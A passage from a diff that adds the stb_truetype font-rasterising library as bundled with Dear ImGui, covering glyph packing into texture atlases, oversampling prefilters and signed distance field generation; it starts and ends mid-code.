round_y = STBTT_ifloor((*ypos + b->yoff) + 0.5f); + + q->x0 = round_x + d3d_bias; + q->y0 = round_y + d3d_bias; + q->x1 = round_x + b->x1 - b->x0 + d3d_bias; + q->y1 = round_y + b->y1 - b->y0 + d3d_bias; + + q->s0 = b->x0 * ipw; + q->t0 = b->y0 * iph; + q->s1 = b->x1 * ipw; + q->t1 = b->y1 * iph; + + *xpos += b->xadvance; +} + +////////////////////////////////////////////////////////////////////////////// +// +// rectangle packing replacement routines if you don't have stb_rect_pack.h +// + +#ifndef STB_RECT_PACK_VERSION + +typedef int stbrp_coord; + +//////////////////////////////////////////////////////////////////////////////////// +// // +// // +// COMPILER WARNING ?!?!? // +// // +// // +// if you get a compile warning due to these symbols being defined more than // +// once, move #include "stb_rect_pack.h" before #include "stb_truetype.h" // +// // +//////////////////////////////////////////////////////////////////////////////////// + +typedef struct +{ + int width,height; + int x,y,bottom_y; +} stbrp_context; + +typedef struct +{ + unsigned char x; +} stbrp_node; + +struct stbrp_rect +{ + stbrp_coord x,y; + int id,w,h,was_packed; +}; + +static void stbrp_init_target(stbrp_context *con, int pw, int ph, stbrp_node *nodes, int num_nodes) +{ + con->width = pw; + con->height = ph; + con->x = 0; + con->y = 0; + con->bottom_y = 0; + STBTT__NOTUSED(nodes); + STBTT__NOTUSED(num_nodes); +} + +static void stbrp_pack_rects(stbrp_context *con, stbrp_rect *rects, int num_rects) +{ + int i; + for (i=0; i < num_rects; ++i) { + if (con->x + rects[i].w > con->width) { + con->x = 0; + con->y = con->bottom_y; + } + if (con->y + rects[i].h > con->height) + break; + rects[i].x = con->x; + rects[i].y = con->y; + rects[i].was_packed = 1; + con->x += rects[i].w; + if (con->y + rects[i].h > con->bottom_y) + con->bottom_y = con->y + rects[i].h; + } + for ( ; i < num_rects; ++i) + rects[i].was_packed = 0; +} +#endif + +////////////////////////////////////////////////////////////////////////////// +// +// bitmap baking +// +// This is SUPER-AWESOME (tm Ryan Gordon) packing using stb_rect_pack.h. If +// stb_rect_pack.h isn't available, it uses the BakeFontBitmap strategy. + +STBTT_DEF int stbtt_PackBegin(stbtt_pack_context *spc, unsigned char *pixels, int pw, int ph, int stride_in_bytes, int padding, void *alloc_context) +{ + stbrp_context *context = (stbrp_context *) STBTT_malloc(sizeof(*context) ,alloc_context); + int num_nodes = pw - padding; + stbrp_node *nodes = (stbrp_node *) STBTT_malloc(sizeof(*nodes ) * num_nodes,alloc_context); + + if (context == NULL || nodes == NULL) { + if (context != NULL) STBTT_free(context, alloc_context); + if (nodes != NULL) STBTT_free(nodes , alloc_context); + return 0; + } + + spc->user_allocator_context = alloc_context; + spc->width = pw; + spc->height = ph; + spc->pixels = pixels; + spc->pack_info = context; + spc->nodes = nodes; + spc->padding = padding; + spc->stride_in_bytes = stride_in_bytes != 0 ? stride_in_bytes : pw; + spc->h_oversample = 1; + spc->v_oversample = 1; + spc->skip_missing = 0; + + stbrp_init_target(context, pw-padding, ph-padding, nodes, num_nodes); + + if (pixels) + STBTT_memset(pixels, 0, pw*ph); // background of 0 around pixels + + return 1; +} + +STBTT_DEF void stbtt_PackEnd (stbtt_pack_context *spc) +{ + STBTT_free(spc->nodes , spc->user_allocator_context); + STBTT_free(spc->pack_info, spc->user_allocator_context); +} + +STBTT_DEF void stbtt_PackSetOversampling(stbtt_pack_context *spc, unsigned int h_oversample, unsigned int v_oversample) +{ + STBTT_assert(h_oversample <= STBTT_MAX_OVERSAMPLE); + STBTT_assert(v_oversample <= STBTT_MAX_OVERSAMPLE); + if (h_oversample <= STBTT_MAX_OVERSAMPLE) + spc->h_oversample = h_oversample; + if (v_oversample <= STBTT_MAX_OVERSAMPLE) + spc->v_oversample = v_oversample; +} + +STBTT_DEF void stbtt_PackSetSkipMissingCodepoints(stbtt_pack_context *spc, int skip) +{ + spc->skip_missing = skip; +} + +#define STBTT__OVER_MASK (STBTT_MAX_OVERSAMPLE-1) + +static void stbtt__h_prefilter(unsigned char *pixels, int w, int h, int stride_in_bytes, unsigned int kernel_width) +{ + unsigned char buffer[STBTT_MAX_OVERSAMPLE]; + int safe_w = w - kernel_width; + int j; + STBTT_memset(buffer, 0, STBTT_MAX_OVERSAMPLE); // suppress bogus warning from VS2013 -analyze + for (j=0; j < h; ++j) { + int i; + unsigned int total; + STBTT_memset(buffer, 0, kernel_width); + + total = 0; + + // make kernel_width a constant in common cases so compiler can optimize out the divide + switch (kernel_width) { + case 2: + for (i=0; i <= safe_w; ++i) { + total += pixels[i] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 2); + } + break; + case 3: + for (i=0; i <= safe_w; ++i) { + total += pixels[i] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 3); + } + break; + case 4: + for (i=0; i <= safe_w; ++i) { + total += pixels[i] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 4); + } + break; + case 5: + for (i=0; i <= safe_w; ++i) { + total += pixels[i] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / 5); + } + break; + default: + for (i=0; i <= safe_w; ++i) { + total += pixels[i] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i]; + pixels[i] = (unsigned char) (total / kernel_width); + } + break; + } + + for (; i < w; ++i) { + STBTT_assert(pixels[i] == 0); + total -= buffer[i & STBTT__OVER_MASK]; + pixels[i] = (unsigned char) (total / kernel_width); + } + + pixels += stride_in_bytes; + } +} + +static void stbtt__v_prefilter(unsigned char *pixels, int w, int h, int stride_in_bytes, unsigned int kernel_width) +{ + unsigned char buffer[STBTT_MAX_OVERSAMPLE]; + int safe_h = h - kernel_width; + int j; + STBTT_memset(buffer, 0, STBTT_MAX_OVERSAMPLE); // suppress bogus warning from VS2013 -analyze + for (j=0; j < w; ++j) { + int i; + unsigned int total; + STBTT_memset(buffer, 0, kernel_width); + + total = 0; + + // make kernel_width a constant in common cases so compiler can optimize out the divide + switch (kernel_width) { + case 2: + for (i=0; i <= safe_h; ++i) { + total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 2); + } + break; + case 3: + for (i=0; i <= safe_h; ++i) { + total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 3); + } + break; + case 4: + for (i=0; i <= safe_h; ++i) { + total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 4); + } + break; + case 5: + for (i=0; i <= safe_h; ++i) { + total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / 5); + } + break; + default: + for (i=0; i <= safe_h; ++i) { + total += pixels[i*stride_in_bytes] - buffer[i & STBTT__OVER_MASK]; + buffer[(i+kernel_width) & STBTT__OVER_MASK] = pixels[i*stride_in_bytes]; + pixels[i*stride_in_bytes] = (unsigned char) (total / kernel_width); + } + break; + } + + for (; i < h; ++i) { + STBTT_assert(pixels[i*stride_in_bytes] == 0); + total -= buffer[i & STBTT__OVER_MASK]; + pixels[i*stride_in_bytes] = (unsigned char) (total / kernel_width); + } + + pixels += 1; + } +} + +static float stbtt__oversample_shift(int oversample) +{ + if (!oversample) + return 0.0f; + + // The prefilter is a box filter of width "oversample", + // which shifts phase by (oversample - 1)/2 pixels in + // oversampled space. We want to shift in the opposite + // direction to counter this. + return (float)-(oversample - 1) / (2.0f * (float)oversample); +} + +// rects array must be big enough to accommodate all characters in the given ranges +STBTT_DEF int stbtt_PackFontRangesGatherRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects) +{ + int i,j,k; + + k=0; + for (i=0; i < num_ranges; ++i) { + float fh = ranges[i].font_size; + float scale = fh > 0 ? stbtt_ScaleForPixelHeight(info, fh) : stbtt_ScaleForMappingEmToPixels(info, -fh); + ranges[i].h_oversample = (unsigned char) spc->h_oversample; + ranges[i].v_oversample = (unsigned char) spc->v_oversample; + for (j=0; j < ranges[i].num_chars; ++j) { + int x0,y0,x1,y1; + int codepoint = ranges[i].array_of_unicode_codepoints == NULL ? ranges[i].first_unicode_codepoint_in_range + j : ranges[i].array_of_unicode_codepoints[j]; + int glyph = stbtt_FindGlyphIndex(info, codepoint); + if (glyph == 0 && spc->skip_missing) { + rects[k].w = rects[k].h = 0; + } else { + stbtt_GetGlyphBitmapBoxSubpixel(info,glyph, + scale * spc->h_oversample, + scale * spc->v_oversample, + 0,0, + &x0,&y0,&x1,&y1); + rects[k].w = (stbrp_coord) (x1-x0 + spc->padding + spc->h_oversample-1); + rects[k].h = (stbrp_coord) (y1-y0 + spc->padding + spc->v_oversample-1); + } + ++k; + } + } + + return k; +} + +STBTT_DEF void stbtt_MakeGlyphBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int prefilter_x, int prefilter_y, float *sub_x, float *sub_y, int glyph) +{ + stbtt_MakeGlyphBitmapSubpixel(info, + output, + out_w - (prefilter_x - 1), + out_h - (prefilter_y - 1), + out_stride, + scale_x, + scale_y, + shift_x, + shift_y, + glyph); + + if (prefilter_x > 1) + stbtt__h_prefilter(output, out_w, out_h, out_stride, prefilter_x); + + if (prefilter_y > 1) + stbtt__v_prefilter(output, out_w, out_h, out_stride, prefilter_y); + + *sub_x = stbtt__oversample_shift(prefilter_x); + *sub_y = stbtt__oversample_shift(prefilter_y); +} + +// rects array must be big enough to accommodate all characters in the given ranges +STBTT_DEF int stbtt_PackFontRangesRenderIntoRects(stbtt_pack_context *spc, const stbtt_fontinfo *info, stbtt_pack_range *ranges, int num_ranges, stbrp_rect *rects) +{ + int i,j,k, return_value = 1; + + // save current values + int old_h_over = spc->h_oversample; + int old_v_over = spc->v_oversample; + + k = 0; + for (i=0; i < num_ranges; ++i) { + float fh = ranges[i].font_size; + float scale = fh > 0 ? stbtt_ScaleForPixelHeight(info, fh) : stbtt_ScaleForMappingEmToPixels(info, -fh); + float recip_h,recip_v,sub_x,sub_y; + spc->h_oversample = ranges[i].h_oversample; + spc->v_oversample = ranges[i].v_oversample; + recip_h = 1.0f / spc->h_oversample; + recip_v = 1.0f / spc->v_oversample; + sub_x = stbtt__oversample_shift(spc->h_oversample); + sub_y = stbtt__oversample_shift(spc->v_oversample); + for (j=0; j < ranges[i].num_chars; ++j) { + stbrp_rect *r = &rects[k]; + if (r->was_packed && r->w != 0 && r->h != 0) { + stbtt_packedchar *bc = &ranges[i].chardata_for_range[j]; + int advance, lsb, x0,y0,x1,y1; + int codepoint = ranges[i].array_of_unicode_codepoints == NULL ? ranges[i].first_unicode_codepoint_in_range + j : ranges[i].array_of_unicode_codepoints[j]; + int glyph = stbtt_FindGlyphIndex(info, codepoint); + stbrp_coord pad = (stbrp_coord) spc->padding; + + // pad on left and top + r->x += pad; + r->y += pad; + r->w -= pad; + r->h -= pad; + stbtt_GetGlyphHMetrics(info, glyph, &advance, &lsb); + stbtt_GetGlyphBitmapBox(info, glyph, + scale * spc->h_oversample, + scale * spc->v_oversample, + &x0,&y0,&x1,&y1); + stbtt_MakeGlyphBitmapSubpixel(info, + spc->pixels + r->x + r->y*spc->stride_in_bytes, + r->w - spc->h_oversample+1, + r->h - spc->v_oversample+1, + spc->stride_in_bytes, + scale * spc->h_oversample, + scale * spc->v_oversample, + 0,0, + glyph); + + if (spc->h_oversample > 1) + stbtt__h_prefilter(spc->pixels + r->x + r->y*spc->stride_in_bytes, + r->w, r->h, spc->stride_in_bytes, + spc->h_oversample); + + if (spc->v_oversample > 1) + stbtt__v_prefilter(spc->pixels + r->x + r->y*spc->stride_in_bytes, + r->w, r->h, spc->stride_in_bytes, + spc->v_oversample); + + bc->x0 = (stbtt_int16) r->x; + bc->y0 = (stbtt_int16) r->y; + bc->x1 = (stbtt_int16) (r->x + r->w); + bc->y1 = (stbtt_int16) (r->y + r->h); + bc->xadvance = scale * advance; + bc->xoff = (float) x0 * recip_h + sub_x; + bc->yoff = (float) y0 * recip_v + sub_y; + bc->xoff2 = (x0 + r->w) * recip_h + sub_x; + bc->yoff2 = (y0 + r->h) * recip_v + sub_y; + } else { + return_value = 0; // if any fail, report failure + } + + ++k; + } + } + + // restore original values + spc->h_oversample = old_h_over; + spc->v_oversample = old_v_over; + + return return_value; +} + +STBTT_DEF void stbtt_PackFontRangesPackRects(stbtt_pack_context *spc, stbrp_rect *rects, int num_rects) +{ + stbrp_pack_rects((stbrp_context *) spc->pack_info, rects, num_rects); +} + +STBTT_DEF int stbtt_PackFontRanges(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, stbtt_pack_range *ranges, int num_ranges) +{ + stbtt_fontinfo info; + int i,j,n, return_value; // [DEAR IMGUI] removed = 1 + //stbrp_context *context = (stbrp_context *) spc->pack_info; + stbrp_rect *rects; + + // flag all characters as NOT packed + for (i=0; i < num_ranges; ++i) + for (j=0; j < ranges[i].num_chars; ++j) + ranges[i].chardata_for_range[j].x0 = + ranges[i].chardata_for_range[j].y0 = + ranges[i].chardata_for_range[j].x1 = + ranges[i].chardata_for_range[j].y1 = 0; + + n = 0; + for (i=0; i < num_ranges; ++i) + n += ranges[i].num_chars; + + rects = (stbrp_rect *) STBTT_malloc(sizeof(*rects) * n, spc->user_allocator_context); + if (rects == NULL) + return 0; + + info.userdata = spc->user_allocator_context; + stbtt_InitFont(&info, fontdata, stbtt_GetFontOffsetForIndex(fontdata,font_index)); + + n = stbtt_PackFontRangesGatherRects(spc, &info, ranges, num_ranges, rects); + + stbtt_PackFontRangesPackRects(spc, rects, n); + + return_value = stbtt_PackFontRangesRenderIntoRects(spc, &info, ranges, num_ranges, rects); + + STBTT_free(rects, spc->user_allocator_context); + return return_value; +} + +STBTT_DEF int stbtt_PackFontRange(stbtt_pack_context *spc, const unsigned char *fontdata, int font_index, float font_size, + int first_unicode_codepoint_in_range, int num_chars_in_range, stbtt_packedchar *chardata_for_range) +{ + stbtt_pack_range range; + range.first_unicode_codepoint_in_range = first_unicode_codepoint_in_range; + range.array_of_unicode_codepoints = NULL; + range.num_chars = num_chars_in_range; + range.chardata_for_range = chardata_for_range; + range.font_size = font_size; + return stbtt_PackFontRanges(spc, fontdata, font_index, &range, 1); +} + +STBTT_DEF void stbtt_GetScaledFontVMetrics(const unsigned char *fontdata, int index, float size, float *ascent, float *descent, float *lineGap) +{ + int i_ascent, i_descent, i_lineGap; + float scale; + stbtt_fontinfo info; + stbtt_InitFont(&info, fontdata, stbtt_GetFontOffsetForIndex(fontdata, index)); + scale = size > 0 ? stbtt_ScaleForPixelHeight(&info, size) : stbtt_ScaleForMappingEmToPixels(&info, -size); + stbtt_GetFontVMetrics(&info, &i_ascent, &i_descent, &i_lineGap); + *ascent = (float) i_ascent * scale; + *descent = (float) i_descent * scale; + *lineGap = (float) i_lineGap * scale; +} + +STBTT_DEF void stbtt_GetPackedQuad(const stbtt_packedchar *chardata, int pw, int ph, int char_index, float *xpos, float *ypos, stbtt_aligned_quad *q, int align_to_integer) +{ + float ipw = 1.0f / pw, iph = 1.0f / ph; + const stbtt_packedchar *b = chardata + char_index; + + if (align_to_integer) { + float x = (float) STBTT_ifloor((*xpos + b->xoff) + 0.5f); + float y = (float) STBTT_ifloor((*ypos + b->yoff) + 0.5f); + q->x0 = x; + q->y0 = y; + q->x1 = x + b->xoff2 - b->xoff; + q->y1 = y + b->yoff2 - b->yoff; + } else { + q->x0 = *xpos + b->xoff; + q->y0 = *ypos + b->yoff; + q->x1 = *xpos + b->xoff2; + q->y1 = *ypos + b->yoff2; + } + + q->s0 = b->x0 * ipw; + q->t0 = b->y0 * iph; + q->s1 = b->x1 * ipw; + q->t1 = b->y1 * iph; + + *xpos += b->xadvance; +} + +////////////////////////////////////////////////////////////////////////////// +// +// sdf computation +// + +#define STBTT_min(a,b) ((a) < (b) ? (a) : (b)) +#define STBTT_max(a,b) ((a) < (b) ? (b) : (a)) + +static int stbtt__ray_intersect_bezier(float orig[2], float ray[2], float q0[2], float q1[2], float q2[2], float hits[2][2]) +{ + float q0perp = q0[1]*ray[0] - q0[0]*ray[1]; + float q1perp = q1[1]*ray[0] - q1[0]*ray[1]; + float q2perp = q2[1]*ray[0] - q2[0]*ray[1]; + float roperp = orig[1]*ray[0] - orig[0]*ray[1]; + + float a = q0perp - 2*q1perp + q2perp; + float b = q1perp - q0perp; + float c = q0perp - roperp; + + float s0 = 0., s1 = 0.; + int num_s = 0; + + if (a != 0.0) { + float discr = b*b - a*c; + if (discr > 0.0) { + float rcpna = -1 / a; + float d = (float) STBTT_sqrt(discr); + s0 = (b+d) * rcpna; + s1 = (b-d) * rcpna; + if (s0 >= 0.0 && s0 <= 1.0) + num_s = 1; + if (d > 0.0 && s1 >= 0.0 && s1 <= 1.0) { + if (num_s == 0) s0 = s1; + ++num_s; + } + } + } else { + // 2*b*s + c = 0 + // s = -c / (2*b) + s0 = c / (-2 * b); + if (s0 >= 0.0 && s0 <= 1.0) + num_s = 1; + } + + if (num_s == 0) + return 0; + else { + float rcp_len2 = 1 / (ray[0]*ray[0] + ray[1]*ray[1]); + float rayn_x = ray[0] * rcp_len2, rayn_y = ray[1] * rcp_len2; + + float q0d = q0[0]*rayn_x + q0[1]*rayn_y; + float q1d = q1[0]*rayn_x + q1[1]*rayn_y; + float q2d = q2[0]*rayn_x + q2[1]*rayn_y; + float rod = orig[0]*rayn_x + orig[1]*rayn_y; + + float q10d = q1d - q0d; + float q20d = q2d - q0d; + float q0rd = q0d - rod; + + hits[0][0] = q0rd + s0*(2.0f - 2.0f*s0)*q10d + s0*s0*q20d; + hits[0][1] = a*s0+b; + + if (num_s > 1) { + hits[1][0] = q0rd + s1*(2.0f - 2.0f*s1)*q10d + s1*s1*q20d; + hits[1][1] = a*s1+b; + return 2; + } else { + return 1; + } + } +} + +static int equal(float *a, float *b) +{ + return (a[0] == b[0] && a[1] == b[1]); +} + +static int stbtt__compute_crossings_x(float x, float y, int nverts, stbtt_vertex *verts) +{ + int i; + float orig[2], ray[2] = { 1, 0 }; + float y_frac; + int winding = 0; + + orig[0] = x; + //orig[1] = y; // [DEAR IMGUI] commmented double assignment + + // make sure y never passes through a vertex of the shape + y_frac = (float) STBTT_fmod(y, 1.0f); + if (y_frac < 0.01f) + y += 0.01f; + else if (y_frac > 0.99f) + y -= 0.01f; + orig[1] = y; + + // test a ray from (-infinity,y) to (x,y) + for (i=0; i < nverts; ++i) { + if (verts[i].type == STBTT_vline) { + int x0 = (int) verts[i-1].x, y0 = (int) verts[i-1].y; + int x1 = (int) verts[i ].x, y1 = (int) verts[i ].y; + if (y > STBTT_min(y0,y1) && y < STBTT_max(y0,y1) && x > STBTT_min(x0,x1)) { + float x_inter = (y - y0) / (y1 - y0) * (x1-x0) + x0; + if (x_inter < x) + winding += (y0 < y1) ? 1 : -1; + } + } + if (verts[i].type == STBTT_vcurve) { + int x0 = (int) verts[i-1].x , y0 = (int) verts[i-1].y ; + int x1 = (int) verts[i ].cx, y1 = (int) verts[i ].cy; + int x2 = (int) verts[i ].x , y2 = (int) verts[i ].y ; + int ax = STBTT_min(x0,STBTT_min(x1,x2)), ay = STBTT_min(y0,STBTT_min(y1,y2)); + int by = STBTT_max(y0,STBTT_max(y1,y2)); + if (y > ay && y < by && x > ax) { + float q0[2],q1[2],q2[2]; + float hits[2][2]; + q0[0] = (float)x0; + q0[1] = (float)y0; + q1[0] = (float)x1; + q1[1] = (float)y1; + q2[0] = (float)x2; + q2[1] = (float)y2; + if (equal(q0,q1) || equal(q1,q2)) { + x0 = (int)verts[i-1].x; + y0 = (int)verts[i-1].y; + x1 = (int)verts[i ].x; + y1 = (int)verts[i ].y; + if (y > STBTT_min(y0,y1) && y < STBTT_max(y0,y1) && x > STBTT_min(x0,x1)) { + float x_inter = (y - y0) / (y1 - y0) * (x1-x0) + x0; + if (x_inter < x) + winding += (y0 < y1) ? 1 : -1; + } + } else { + int num_hits = stbtt__ray_intersect_bezier(orig, ray, q0, q1, q2, hits); + if (num_hits >= 1) + if (hits[0][0] < 0) + winding += (hits[0][1] < 0 ? -1 : 1); + if (num_hits >= 2) + if (hits[1][0] < 0) + winding += (hits[1][1] < 0 ? -1 : 1); + } + } + } + } + return winding; +} + +static float stbtt__cuberoot( float x ) +{ + if (x<0) + return -(float) STBTT_pow(-x,1.0f/3.0f); + else + return (float) STBTT_pow( x,1.0f/3.0f); +} + +// x^3 + c*x^2 + b*x + a = 0 +static int stbtt__solve_cubic(float a, float b, float c, float* r) +{ + float s = -a / 3; + float p = b - a*a / 3; + float q = a * (2*a*a - 9*b) / 27 + c; + float p3 = p*p*p; + float d = q*q + 4*p3 / 27; + if (d >= 0) { + float z = (float) STBTT_sqrt(d); + float u = (-q + z) / 2; + float v = (-q - z) / 2; + u = stbtt__cuberoot(u); + v = stbtt__cuberoot(v); + r[0] = s + u + v; + return 1; + } else { + float u = (float) STBTT_sqrt(-p/3); + float v = (float) STBTT_acos(-STBTT_sqrt(-27/p3) * q / 2) / 3; // p3 must be negative, since d is negative + float m = (float) STBTT_cos(v); + float n = (float) STBTT_cos(v-3.141592/2)*1.732050808f; + r[0] = s + u * 2 * m; + r[1] = s - u * (m + n); + r[2] = s - u * (m - n); + + //STBTT_assert( STBTT_fabs(((r[0]+a)*r[0]+b)*r[0]+c) < 0.05f); // these asserts may not be safe at all scales, though they're in bezier t parameter units so maybe? + //STBTT_assert( STBTT_fabs(((r[1]+a)*r[1]+b)*r[1]+c) < 0.05f); + //STBTT_assert( STBTT_fabs(((r[2]+a)*r[2]+b)*r[2]+c) < 0.05f); + return 3; + } +} + +STBTT_DEF unsigned char * stbtt_GetGlyphSDF(const stbtt_fontinfo *info, float scale, int glyph, int padding, unsigned char onedge_value, float pixel_dist_scale, int *width, int *height, int *xoff, int *yoff) +{ + float scale_x = scale, scale_y = scale; + int ix0,iy0,ix1,iy1; + int w,h; + unsigned char *data; + + // if one scale is 0, use same scale for both + if (scale_x == 0) scale_x = scale_y; + if (scale_y == 0) { + if (scale_x == 0) return NULL; // if both scales are 0, return NULL + scale_y = scale_x; + } + + stbtt_GetGlyphBitmapBoxSubpixel(info, glyph, scale, scale, 0.0f,0.0f, &ix0,&iy0,&ix1,&iy1); + + // if empty, return NULL + if (ix0 == ix1 || iy0 == iy1) + return NULL; + + ix0 -= padding; + iy0 -= padding; + ix1 += padding; + iy1 += padding; + + w = (ix1 - ix0); + h = (iy1 - iy0); + + if (width ) *width = w; + if (height) *height = h; + if (xoff ) *xoff = ix0; + if (yoff ) *yoff = iy0; + + // invert for y-downwards bitmaps + scale_y = -scale_y; + + { + int x,y,i,j; + float *precompute; + stbtt_vertex *verts; + int num_verts = stbtt_GetGlyphShape(info, glyph, &verts); + data = (unsigned char *) STBTT_malloc(w * h, info->userdata); + precompute = (float *) STBTT_malloc(num_verts * sizeof(float), info->userdata); + + for (i=0,j=num_verts-1; i < num_verts; j=i++) { + if (verts[i].type == STBTT_vline) { + float x0 = verts[i].x*scale_x, y0 = verts[i].y*scale_y; + float x1 = verts[j].x*scale_x, y1 = verts[j].y*scale_y; + float dist = (float) STBTT_sqrt((x1-x0)*(x1-x0) + (y1-y0)*(y1-y0)); + precompute[i] = (dist == 0) ? 0.0f : 1.0f / dist; + } else if (verts[i].type == STBTT_vcurve) { + float x2 = verts[j].x *scale_x, y2 = verts[j].y *scale_y; + float x1 = verts[i].cx*scale_x, y1 = verts[i].cy*scale_y; + float x0 = verts[i].x *scale_x, y0 = verts[i].y *scale_y; + float bx = x0 - 2*x1 + x2, by = y0 - 2*y1 + y2; + float len2 = bx*bx + by*by; + if (len2 != 0.0f) + precompute[i] = 1.0f / (bx*bx + by*by); + else + precompute[i] = 0.0f; + } else + precompute[i] = 0.0f; + } + + for (y=iy0; y < iy1; ++y) { + for (x=ix0; x < ix1; ++x) { + float val; + float min_dist = 999999.0f; + float sx = (float) x + 0.5f; + float sy = (float) y + 0.5f; + float x_gspace = (sx / scale_x); + float y_gspace = (sy / scale_y); + + int winding = stbtt__compute_crossings_x(x_gspace, y_gspace, num_verts, verts); // @OPTIMIZE: this could just be a rasterization, but needs to be line vs. non-tesselated curves so a new path + + for (i=0; i < num_verts; ++i) { + float x0 = verts[i].x*scale_x, y0 = verts[i].y*scale_y; + + // check against every point here rather than inside line/curve primitives -- @TODO: wrong if multiple 'moves' in a row produce a garbage point, and given culling, probably more efficient to do within line/curve + float dist2 = (x0-sx)*(x0-sx) + (y0-sy)*(y0-sy); + if (dist2 < min_dist*min_dist) + min_dist = (float) STBTT_sqrt(dist2); + + if (verts[i].type == STBTT_vline) { + float x1 = verts[i-1].x*scale_x, y1 = verts[i-1].y*scale_y; + + // coarse culling against bbox + //if (sx > STBTT_min(x0,x1)-min_dist && sx < STBTT_max(x0,x1)+min_dist && + // sy > STBTT_min(y0,y1)-min_dist && sy < STBTT_max(y0,y1)+min_dist) + float dist = (float) STBTT_fabs((x1-x0)*(y0-sy) - (y1-y0)*(x0-sx)) * precompute[i]; + STBTT_assert(i != 0); + if (dist < min_dist) { + // check position along line + // x' = x0 + t*(x1-x0), y' = y0 + t*(y1-y0) + // minimize (x'-sx)*(x'-sx)+(y'-sy)*(y'-sy) + float dx = x1-x0, dy = y1-y0; + float px = x0-sx, py = y0-sy; + // minimize (px+t*dx)^2 + (py+t*dy)^2 = px*px + 2*px*dx*t + t^2*dx*dx + py*py + 2*py*dy*t + t^2*dy*dy + // derivative: 2*px*dx + 2*py*dy + (2*dx*dx+2*dy*dy)*t, set to 0 and solve + float t = -(px*dx + py*dy) / (dx*dx + dy*dy); + if (t >= 0.0f && t <= 1.0f) + min_dist = dist; + } + } else if (verts[i].type == STBTT_vcurve) { + float x2 = verts[i-1].x *scale_x, y2 = verts[i-1].y *scale_y; + float x1 = verts[i ].cx*scale_x, y1 = verts[i ].cy*scale_y; + float box_x0 = STBTT_min(STBTT_min(x0,x1),x2); + float box_y0 = STBTT_min(STBTT_min(y0,y1),y2); + float box_x1 = STBTT_max(STBTT_max(x0,x1),x2); + float box_y1 = STBTT_max(STBTT_max(y0,y1),y2); + // coarse culling against bbox to avoid computing cubic unnecessarily + if (sx > box_x0-min_dist && sx < box_x1+min_dist && sy > box_y0-min_dist && sy < box_y1+min_dist) { + int num=0; + float ax = x1-x0, ay = y1-y0; + float bx = x0 - 2*x1 + x2, by = y0 - 2*y1 + y2; + float mx = x0 - sx, my = y0 - sy; + float res[3],px,py,t,it; + float a_inv = precompute[i]; + if (a_inv == 0.0) { // if a_inv is 0, it's 2nd degree so use quadratic formula + float a = 3*(ax*bx + ay*by); + float b = 2*(ax*ax + ay*ay) + (mx*bx+my*by); + float c = mx*ax+my*ay; + if (a == 0.0) { // if a is 0, it's linear + if (b != 0.0) { + res[num++] = -c/b; + } + } else { + float discriminant = b*b - 4*a*c; + if (discriminant < 0) + num = 0; + else { + float root = (float) STBTT_sqrt(discriminant); + res[0] = (-b - root)/(2*a); + res[1] = (-b + root)/(2*a); + num = 2; // don't bother distinguishing 1-solution case, as code below will still work + } + } + } else { + float b = 3*(ax*bx + ay*by) * a_inv; // could precompute this as it doesn't depend on sample point + float c = (2*(ax*ax + ay*ay) + (mx*bx+my*by)) * a_inv; + float d = (mx*ax+my*ay) * a_inv; + num = stbtt__solve_cubic(b, c, d, res); + } + if (num >= 1 && res[0] >= 0.0f && res[0] <= 1.0f) { + t = res[0], it = 1.0f - t; + px = it*it*x0 + 2*t*it*x1 + t*t*x2; + py = it*it*y0 + 2*t*it*y1 + t*t*y2; + dist2 = (px-sx)*(px-sx) + (py-sy)*(py-sy); + if (dist2 < min_dist * min_dist) + min_dist = (float) STBTT_sqrt(dist2); + } + if (num >= 2 && res[1] >= 0.0f && res[1] <= 1.0f) { + t = res[1], it = 1.0f - t; + px = it*it*x0 + 2*t*it*x1 + t*t*x2; + py = it*it*y0 + 2*t*it*y1 + t*t*y2; + dist2 = (px-sx)*(px-sx) + (py-sy)*(py-sy); + if (dist2 < min_dist * min_dist) + min_dist = (float) STBTT_sqrt(dist2); + } + if (num >= 3 && res[2] >= 0.0f && res[2] <= 1.0f) { + t = res[2], it = 1.0f - t; + px = it*it*x0 + 2*t*it*x1 + t*t*x2; + py = it*it*y0 + 2*t*it*y1 + t*t*y2; + dist2 = (px-sx)*(px-sx) + (py-sy)*(py-sy); + if (dist2 < min_dist * min_dist) + min_dist = (float) STBTT_sqrt(dist2); + } + } + } + } + if (winding == 0) + min_dist = -min_dist; // if outside the shape, value is negative + val = onedge_value + pixel_dist_scale * min_dist; + if (val < 0) + val = 0; + else if (val > 255) + val = 255; + data[(y-iy0)*w+(x-ix0)] = (unsigned char) val; + } + } + STBTT_free(precompute, info->userdata); + STBTT_free(verts, info->userdata); + } + return data; +} + +STBTT_DEF unsigned char * stbtt_GetCodepointSDF(const stbtt_fontinfo *info, float scale, int codepoint, int padding, unsigned char 